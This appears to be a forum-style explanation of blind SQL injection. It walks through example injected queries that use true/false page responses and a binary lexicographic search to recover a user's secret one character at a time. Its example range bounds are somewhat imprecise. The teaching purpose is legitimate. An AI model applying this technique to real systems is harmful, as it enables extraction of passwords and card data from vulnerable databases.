Blind SQL Injection is one such example. Assume you have the possibility of SQL injection but you're limited in what you can inject. Something in lines of:
SELECT id FROM users WHERE username = <foo>;
You can inject into foo
but you can get no other output than the page returning 404 (if there's no such user) or something else (if there's a result). You can't get any output from this query other than the status of the page ("works / doesn't work").
In this situation you could try to guess some data about the user (like his hashed password or his credit card number) in this way:
SELECT id FROM users WHERE username = "kos" AND secret = "mellon";
SELECT id FROM users WHERE username = "kos" AND secret = "rosebud";
Once you get a page that loads, you know that you have guessed the password correctly.
Now for the fun part: To guess in a resonable time, you can switch to binary lexicographical search:
SELECT id FROM users WHERE username = "kos" AND secret >= "a" AND secret <= "z" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "a" AND secret <= "n" -- 0
SELECT id FROM users WHERE username = "kos" AND secret >= "o" AND secret <= "u" -- 0
SELECT id FROM users WHERE username = "kos" AND secret >= "v" AND secret <= "x" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "w" AND secret <= "x" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "x" AND secret <= "x" -- 1
You have the first letter! Continue:
SELECT id FROM users WHERE username = "kos" AND secret >= "xa" AND secret <= "xz" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xa" AND secret <= "xn" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xa" AND secret <= "xg" -- 0
SELECT id FROM users WHERE username = "kos" AND secret >= "xh" AND secret <= "xk" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xj" AND secret <= "xk" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xk" AND secret <= "xk" -- 1
... and so on, until you know all the letters.